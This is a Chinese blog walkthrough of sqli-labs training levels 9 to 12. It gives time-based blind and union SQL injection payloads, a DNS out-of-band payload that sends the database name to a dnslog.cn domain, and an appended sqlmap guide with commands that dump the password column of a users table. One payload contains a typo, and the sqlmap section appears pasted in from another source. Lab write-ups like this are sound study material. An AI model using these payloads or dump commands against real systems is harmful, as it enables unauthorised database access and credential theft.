sqli-labs通关攻略(9-12)

less-9

经过尝试发现只有一种页面,可以使用时间盲注和外带注入

时间盲注

利用sleep()函数是否执行来判断构造

通过判断,确认为单引号字符串

?id=1'and if(length((select database()))>7,sleep(3),1)--+

同样利用函数来判断出数据库名长度为8位

判断出第一位ASCII值为115,对应s

?id=1'and if(ascii(substr((select database()),1,1))>114,sleep(3),1)--+

同理可以查询到其他的信息

外带注入

打开dnslog.cn,点击左面按钮获得一个域名

在指令中带上这个域名

?id=1' and (select load_file(concat('\\\\',(select hex(database())),'.域名\\aaa')))%23--+

访问后即可点击右面按钮查看(也可不用hex(),不过尽量使⽤ hex() 函数编码一下,不然可能无法请求

十六进制数7365637572697479对应的英文是"security"

注:如果没有反应在phpstudy_pro\Extensions\MySQL5.7.26\my.ini 文件中添加

secure_file_priv = ''

外带注入更简单一点

less-10

经过尝试,发现没有变换,也没有报错信息,使用时间盲注

尝试后发现为双引号字符型

?id=1" and if(length(database())>8,sleep(3),3)--+

剩余操作同上

?id=1“”and if(ascii(substr((select database()),1,1))>114,sleep(3),1)--+

同样也可以外带注入

less-11

在输入框进行注入类型判断

在username 和passward分别输入'页面均有变化,可知都可能有回显点

输入'#页面无变化,说明是字符型

在框内输入指令

1' union select database(),version()#

即可查询到数据库信息

less-12

输入双引号,可能有回显点

闭合成功

和上一题一样的操作,输入

1") union select database(),version()#

得到信息

使用sqlmap通关sqli - labs可按如下方法与步骤操作: #### 确定目标URL和请求参数 依据不同关卡,明确目标URL以及对应的请求参数。例如,在第14关,目标URL为 `http://192.168.2.16/sqli-labs/Less-14/`,请求参数为 `uname=1&passwd=1&submit=Submit`;在第8关,目标URL是 `http://192.168.106.129/sqli-labs-master/Less-8/?id=1` ;在Less - 1下目标URL是 `http://localhost:8888/Less-1/?id=1`[^1][^4][^5]。 #### 调用sqlmap并设置参数 利用不同的参数来开展各种操作,以下是常见操作及对应的示例命令: ##### 探测数据库名 运行 `sqlmap -u <目标URL> --batch --dbs` 来获取所有数据库名。如第20关,可使用 `sqlmap -url "http://192.168.0.107/sqli-labs/Less-20/index.php" --cookie="uname=dhakkan" --batch --dbs --data="uname=Dhakkan&passwd=1&submit=Submit" --level=3 --risk=3"` 命令 [^2]。 ##### 获取指定数据库中的数据表名 执行 `python sqlmap.py -u <目标URL> --batch -D <数据库名> --tables` 命令。例如,获取 `security` 数据库中的数据表名,可使用 `python sqlmap.py -u http://192.168.106.129/sqli-labs-master/Less-8/?id=1 --batch -D security --tables` [^4]。 ##### 查找指定表下的所有字段 使用 `python sqlmap.py -u <目标URL> -D "<数据库名>" -T "<表名>" --columns` 命令。例如,爆出 `users` 表下的所有字段,可运行 `python sqlmap.py -u http://localhost:8888/Less-1/?id=1 -D "security" -T "users" --columns` [^5]。 ##### 爆字段内容 执行 `sqlmap -u <目标URL> --batch --thread=5 -D <数据库名> -T <表名> -C <字段名> --dump` 命令。例如,爆 `security` 数据库中 `users` 表的 `password` 字段内容,命令为 `sqlmap -u http://192.168.79.1/sqli-labs/Less-1?id=1 --batch --thread=5 -D security -T users -C password --dump` [^3]。 实例代码如下: ```bash # 探测数据库名 sqlmap -u http://192.168.0.107/sqli-labs/Less-20/index.php --cookie="uname=dhakkan" --batch --dbs --data="uname=Dhakkan&passwd=1&submit=Submit" --level=3 --risk=3 # 获取指定数据库中的数据表名 python sqlmap.py -u http://192.168.106.129/sqli-labs-master/Less-8/?id=1 --batch -D security --tables # 查找指定表下的所有字段 python sqlmap.py -u http://localhost:8888/Less-1/?id=1 -D "security" -T "users" --columns # 爆字段内容 sqlmap -u http://192.168.79.1/sqli-labs/Less-1?id=1 --batch --thread=5 -D security -T users -C password --dump ``` ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值